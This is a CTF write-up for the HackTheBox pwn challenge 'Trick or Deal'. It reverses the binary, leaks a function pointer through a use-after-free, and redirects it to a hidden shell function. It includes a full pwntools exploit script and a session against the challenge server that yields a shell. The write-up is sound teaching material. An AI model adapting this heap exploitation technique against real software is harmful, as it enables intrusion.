Introduction
Trick or Deal is a Medium retired hackthebox pwn challenge. It has 97 solves and no writeup at the publication of this blog post.
This binary has a secret function unlock_storage()
, and a Use-After-Free vulnerability.
To exploit this binary, I will use pwndbg and pwntools.
Ghidra was also used for the analysis. The snippets of C code were obtained using the Ghidra decompiler.
Analysis
The binary gives us a menu with 5 actions. Each action will call a function.
-_-_-_-_-_-_-_-_-_-_-_-_-
| |
| [1] See the Weaponry |
| [2] Buy Weapons |
| [3] Make an Offer |
| [4] Try to Steal |
| [5] Leave |
| |
-_-_-_-_-_-_-_-_-_-_-_-_-
[*] What do you want to do?
Let’s investigate.
Not interesting
The 5th action simply quit the binary.
The 2nd action [2] Buy Weapons
call the function buy()
and has no interest for us.
It simply output back our input.
void buy(void)
{
char buf [72];
fwrite("\n[*] What do you want!!? ",1,25,stdout);
read(0,buf,71);
fprintf(stdout,"\n[!] No!, I can\'t give you %s\n",buf);
fflush(stdout);
fwrite("[!] Get out of here!\n",1,21,stdout);
return;
}
The Heap
The actions 1, 3 and 4 are more interesting. But first, let’s take a look at the heap.
We run the binary in gdb (with the pwndbg extension).
Simply break with Ctrl + C
and use the vis_heap_chunks
command to explore the heap.
$ gdb -q ./trick_or_deal
pwndbg> r
Starting program: /home/hackthebox/challenge/pwn/Trick_or_Deal/trick_or_deal
π΅ Welcome to the Intergalactic Weapon Black Market π΅
Loading the latest weaponry . . .
-_-_-_-_-_-_-_-_-_-_-_-_-
| |
| [1] See the Weaponry |
| [2] Buy Weapons |
| [3] Make an Offer |
| [4] Try to Steal |
| [5] Leave |
| |
-_-_-_-_-_-_-_-_-_-_-_-_-
[*] What do you want to do? ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6
pwndbg> vis_heap_chunks
0x555555603000 0x0000000000000000 0x0000000000000291 ................
0x555555603010 0x0000000000000000 0x0000000000000000 ................
[...]
0x555555603290 0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0 0x67694c206568540a 0x0a72656261737468 .The Lightsaber.
0x5555556032b0 0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0 0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0 0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0 0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0 0x0000000000000000 0x0000000000020d11 ................ <-- Top chunk
At the address 0x555555603290
, we have a chunk of size 0x60.
Mixed data and function pointers
The chunk is the variable storage
which contain some data, and a pointer to printStorage()
: 0x555555400be6
.
We can see that 0x555555603290
is a pointer to printStorage()
using the disassemble
command.
pwndbg> disassemble 0x0000555555400be6
Dump of assembler code for function printStorage:
0x0000555555400be6 <+0>: push rbp
0x0000555555400be7 <+1>: mov rbp,rsp
0x0000555555400bea <+4>: mov rax,QWORD PTR [rip+0x20144f] # 0x555555602040 <storage>
0x0000555555400bf1 <+11>: mov rdx,rax
0x0000555555400bf4 <+14>: mov rax,QWORD PTR [rip+0x201425] # 0x555555602020 <stdout@@GLIBC_2.2.5>
0x0000555555400bfb <+21>: lea r8,[rip+0x63f] # 0x555555401241
0x0000555555400c02 <+28>: mov rcx,rdx
0x0000555555400c05 <+31>: lea rdx,[rip+0x67f] # 0x55555540128b
0x0000555555400c0c <+38>: lea rsi,[rip+0x6ad] # 0x5555554012c0
0x0000555555400c13 <+45>: mov rdi,rax
0x0000555555400c16 <+48>: mov eax,0x0
0x0000555555400c1b <+53>: call 0x555555400920 <fprintf@plt>
0x0000555555400c20 <+58>: nop
0x0000555555400c21 <+59>: pop rbp
0x0000555555400c22 <+60>: ret
End of assembler dump.
The content of storage
is written by the function update_weapons()
. update_weapons()
is called by main
at the start of the program:
void update_weapons(void)
{
storage = (char *)malloc(0x50);
strcpy(storage,"\nThe Lightsaber\n\nThe Sonic Screwdriver\n\nPhasers\n\nThe Noisy Cricket\n");
*(code **)(storage + 0x48) = printStorage;
return;
}
Having functions pointers mixed with data is interesting for us. If we can tamper with a function pointer, it might give us the ability to call other functions.
Useful functions
See the data
The 1st action [1] See the Weaponry
will call the pointer at the end of the chunk to call printStorage()
.
void printStorage(void)
{
fprintf(stdout,"\n%sWeapons in stock: \n %s %s","\x1b[1;32m",storage,"\x1b[1;35m");
return;
}
printStorage()
will output the content of the global variable storage
.
$ ./trick_or_deal
π΅ Welcome to the Intergalactic Weapon Black Market π΅
[...]
[*] What do you want to do? 1
Weapons in stock:
The Lightsaber
The Sonic Screwdriver
Phasers
The Noisy Cricket
Free()
The 4th action call the function steal()
that free the variable storage
.
void steal(void)
{
fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n",1,0x3d,stdout);
sleep(2);
fprintf(stdout,"%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n","\x1b[1;31m");
free(storage);
sleep(2);
fprintf(stdout,"%s[*] You, who didn\'t skip leg-day, escape!%s\n","\x1b[1;32m","\x1b[1;35m");
return;
}
Let’s see this in action with gdb.
$ gdb ./trick_or_deal
pwndbg> run
π΅ Welcome to the Intergalactic Weapon Black Market π΅
[...]
[*] What do you want to do? 4
[*] Sneaks into the storage room wearing a face mask . . .
[*] Guard: *Spots you*, Thief! Lockout the storage!
[*] You, who didn't skip leg-day, escape!
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555603000
Size: 0x291
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555603290
Size: 0x61
fd: 0x00
Top chunk | PREV_INUSE
Addr: 0x5555556032f0
Size: 0x20d11
pwndbg> vis_heap_chunks
0x555555603000 0x0000000000000000 0x0000000000000291 ................
0x555555603010 0x0000000000000000 0x0000000000000001 ................
0x555555603020 0x0000000000000000 0x0000000000000000 ................
[...]
0x555555603290 0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0 0x0000000000000000 0x0000555555603010 .........0`UUU.. <-- tcachebins[0x60][0/1]
0x5555556032b0 0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0 0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0 0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0 0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0 0x0000000000000000 0x0000000000020d11 ................ <-- Top chu
Malloc()
The 3rd action call the function make_offer()
that malloc an arbitrary sized chunk. And let us write data in this new chunk.
void make_offer(void)
{
char anwser [3];
size_t size;
size = 0;
memset(anwser,0,3);
fwrite("\n[*] Are you sure that you want to make an offer(y/n): ",1,55,stdout);
read(0,anwser,2);
if (anwser[0] == 'y') {
fwrite("\n[*] How long do you want your offer to be? ",1,45,stdout);
size = read_num();
offer = malloc(size);
fwrite("\n[*] What can you offer me? ",1,28,stdout);
read(0,offer,size);
fwrite("[!] That\'s not enough!\n",1,23,stdout);
}
else {
fwrite("[!] Don\'t bother me again.\n",1,27,stdout);
}
return;
}
Again, let’s do this in gdb and observe the memory with vis_heap_chunks
.
$ gdb -q ./trick_or_deal
pwndbg> r
Starting program: ./trick_or_deal
π΅ Welcome to the Intergalactic Weapon Black Market π΅
[...]
[*] What do you want to do? 3
[*] Are you sure that you want to make an offer(y/n): y
[*] How long do you want your offer to be? 32
[*] What can you offer me? YYYYYYYYYYYYYYYY
[!] That's not enough!
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6
pwndbg> vis_heap_chunks 2 0x555555603290
0x555555603290 0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0 0x67694c206568540a 0x0a72656261737468 .The Lightsaber.
0x5555556032b0 0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0 0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0 0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0 0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0 0x0000000000000000 0x0000000000000031 ........1.......
0x555555603300 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x555555603310 0x000000000000000a 0x0000000000000000 ................
0x555555603320 0x0000000000000000 0x0000000000020ce1 ................ <-- Top chunk
Secret function
The binary has a secret function unlock_storage()
. We can see below in Ghidra. You can also see it in rizin or radare2 using the afl
command.
Calling this function gives us a shell.
void unlock_storage(void)
{
fprintf(stdout,"\n%s[*] Bruteforcing Storage Access Code . . .%s\n","\x1b[5;32m","\x1b[25;0m");
sleep(2);
fprintf(stdout,"\n%s* Storage Door Opened *%s\n","\x1b[1;32m","\x1b[1;0m");
system("sh");
return;
}
Recap
The binary has a variable storage
that holds some ASCII data and a pointer to printStorage()
. The binary also has a secret function unlock_storage()
that gives us a shell.
- Action 1 will follow the pointer in
storage
to callprintStorage()
. This prints the data ofstorage
. - Action 3 malloc() an arbitrary sized chunk, and write data into this new memory.
- Action 4 free() the variable
storage
.
If you haven’t solved the binary yet. Stop here, and try to exploit the binary.
The Bug
We have a Use-After-Free bug, which means that the program does not check if the memory has been free when we call the functions. Here we have a possibility to realloc data of our own, and still use the action 1 that call the pointer present on the heap.
The exploit
Our strategy is to replace the pointer to printStorage()
with a pointer to unlock_storage()
.
Since the binary is protected with ASLR, we first need to leak the printStorage()
pointer. We can then calculate the address of unlock_storage()
by adding the needed offset to our leaked pointer.
Fist let’s create an exploit skeleton use the pwn template
command of pwntools.
$ pwn template trick_or_deal
And let’s add a few helper functions, to make or exploit development easier.
#!/usr/bin/env python3
# coding: utf-8
from pwn import *
# Create a new pane the Tilix terminal emulator when using the GDB option
# context.terminal = ['tilix','--action=session-add-right', '-e']
# Set up pwntools for the correct architecture
exe = context.binary = ELF('trick_or_deal')
# Many built-in settings can be controlled on the command line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes.
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: b'./glibc/'
# Helper functions
def free():
io.recvuntil(b'[*] What do you want to do?')
io.sendline(b'4')
def malloc(size, data):
io.sendafter(b'[*] What do you want to do?', b'3\n')
io.sendafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y\n')
io.sendafter(b'[*] How long do you want your offer to be?', f"{size}".encode())
io.sendafter(b'[*] What can you offer me? ', data)
io = start()
io.interactive()
Leak address
We free the initial buffer, and we malloc enough data to bridge the pointer we aim to leak. By leaving no space before the variable, it will be printed when we call printStorage()
.
io = start()
free()
# We don't overwrite the function pointer so that we can leak it.
payload = 0x48 * b'Y'
malloc(0x58, payload)
# Leak pointer
io.sendlineafter(b'[*] What do you want to do? ', b'1')
leak = u64(io.readline()[:6] + b'\x00\x00')
log.info(f"printStorage leak: {hex(leak)}")
io.interactive()
Note that the chunk is of size 0x60, so we malloc 0x58 as malloc add 8 bytes for chunk metadata.
Initially the heap looked like this :
pwndbg> vis_heap_chunks 2 0x555555603290
0x555555603290 0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0 0x67694c206568540a 0x0a72656261737468 .The Lightsaber.
0x5555556032b0 0x6e6f53206568540a 0x7765726353206369 .The Sonic Screw
0x5555556032c0 0x0a0a726576697264 0x0a73726573616850 driver..Phasers.
0x5555556032d0 0x696f4e206568540a 0x6b63697243207973 .The Noisy Crick
0x5555556032e0 0x00000000000a7465 0x0000555555400be6 et........@UUU..
0x5555556032f0 0x0000000000000000 0x0000000000020d11 ................ <-- Top chunk
We can run our script with debugging options $ ./xpl.py NOASLR DEBUG GDB
.
pwndbg> vis_heap_chunks 2 0x555555603290
0x555555603290 0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032b0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032c0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032d0 0x5959595959595959 0x5959595959595959 YYYYYYYYYYYYYYYY
0x5555556032e0 0x5959595959595959 0x0000555555400be6 YYYYYYYY..@UUU..
0x5555556032f0 0x0000000000000000 0x0000000000020d11 ................ <-- Top chunk
We have filled the buffer with 'Y'
and there is no '\x00'
left that would indicate a end of file.
The pointer will be considered as part of the string and will be printed when we call printStorage()
.
b'[*] What do you want to do? '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x17a bytes:
00000000 0a 1b 5b 31 3b 33 32 6d 57 65 61 70 6f 6e 73 20 βΒ·Β·[1β;32mβWeapβons β
00000010 69 6e 20 73 74 6f 63 6b 3a 20 0a 20 59 59 59 59 βin sβtockβ: Β· βYYYYβ
00000020 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 βYYYYβYYYYβYYYYβYYYYβ
*
00000060 59 59 59 59 e6 0b 40 55 55 55 20 1b 5b 31 3b 33 βYYYYβΒ·Β·@UβUU Β·β[1;3β
*
[*] printStorage leak: 0x555555400be6
[*] Switching to interactive mode
Calculate the Offset
First, let’s use gdb to see the address of each function.
pwndbg> p printStorage
$1 = {<text variable, no debug info>} 0x555555400be6 <printStorage>
pwndbg> p unlock_storage
$2 = {<text variable, no debug info>} 0x555555400eff <unlock_storage>
Now, let’s calculate the offset between the two functions with python.
$ python3
Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux
>>> hex(0x555555400eff - 0x555555400be6)
'0x319'
Now we just have to add this value to the leaked pointer to calculate the address of unlock_storage()
.
Let’s add this to our exploit script.
leak = u64(io.readline()[:6] + b'\x00\x00')
log.info(f"printStorage leak: {hex(leak)}")
unlock_storage = leak + 0x319
log.info(f"unlock_storage: {hex(unlock_storage)}")
io.interactive()
Overwrite the function pointer
Now we can overwrite the pointer to printStorage()
with a pointer to unlock_storage()
.
Let’s free() the buffer using our helper function, then fill it with 0x48 chars and overwrite the function pointer.
# overwrite printStorage with unlock_storage
free()
payload = b'V' * 0x48 + p64(unlock_storage)
malloc(0x50, payload)
Our heap look like this now.
pwndbg> vis 1 0x555555603290
0x555555603290 0x0000000000000000 0x0000000000000061 ........a.......
0x5555556032a0 0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032b0 0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032c0 0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032d0 0x5656565656565656 0x5656565656565656 VVVVVVVVVVVVVVVV
0x5555556032e0 0x5656565656565656 0x0000555555400eff VVVVVVVV..@UUU..
0x5555556032f0 0x0000000000000000 0x0000000000020d11 ................ <-- Top chun
Call unlock_storage()
All that’s left to do is to call the function pointer, with the first action.
[*] What do you want to do? $ 1
* Storage Door Opened *
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
Add this ultimate step, and we have a complete exploit.
io.sendlineafter(b'[*] What do you want to do? ', b'1')
io.interactive()
Remote option
It’s nice to have a REMOTE option to target the ctf server. I generally modify the start()
function of the exploit script with this option.
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server:port')
return remote(sys.argv[1].split(':')[0], sys.argv[1].split(':')[1])
else:
return process([exe.path] + argv, *a, **kw)
Final
Below the full exploit script.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template trick_or_deal
from pwn import *
context.terminal = ['tilix', '--action=session-add-right', '-e']
# Set up pwntools for the correct architecture
exe = context.binary = ELF('trick_or_deal')
# Many built-in settings can be controlled on the command line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server:port')
return remote(sys.argv[1].split(':')[0], sys.argv[1].split(':')[1])
else:
return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
set glibc 2.31
#tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# RUNPATH: b'./glibc/'
# Helper functions
def free():
io.recvuntil(b'[*] What do you want to do?')
io.sendline(b'4')
def malloc(size, data):
io.sendafter(b'[*] What do you want to do?', b'3\n')
io.sendafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y\n')
io.sendafter(b'[*] How long do you want your offer to be?', f"{size}".encode())
io.sendafter(b'[*] What can you offer me? ', data)
# Exploit code
io = start()
free()
# We don't overwrite the function pointer so that we can leak it.
payload = 0x48 * b'Y'
malloc(0x58, payload)
# Leak pointer
io.sendlineafter(b'[*] What do you want to do? ', b'1')
io.recvuntil(b'Y' * 0x48)
leak = u64(io.readline()[:6] + b'\x00\x00')
log.info(f"printStorage leak: {hex(leak)}")
unlock_storage = leak + 0x319
log.info(f"unlock_storage: {hex(unlock_storage)}")
# overwrite printStorage with unlock_storage
free()
payload = b'V' * 0x48 + p64(unlock_storage)
malloc(0x50, payload)
io.sendlineafter(b'[*] What do you want to do? ', b'1')
io.sendline(b'id')
io.interactive()
Let’s attack the remote server.
$ ./xpl.py REMOTE 64.227.46.56:32650
[*] '/home/hackthebox/challenge/pwn/Trick_or_Deal/trick_or_deal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 64.227.46.56 on port 32650: Done
[*] printStorage leak: 0x559901e00be6
[*] unlock_storage: 0x559901e00eff
[*] Switching to interactive mode
* Storage Door Opened *
uid=999(ctf) gid=999(ctf) groups=999(ctf)
$ ls
flag.txt glibc ld-2.31.so libc-2.31.so trick_or_deal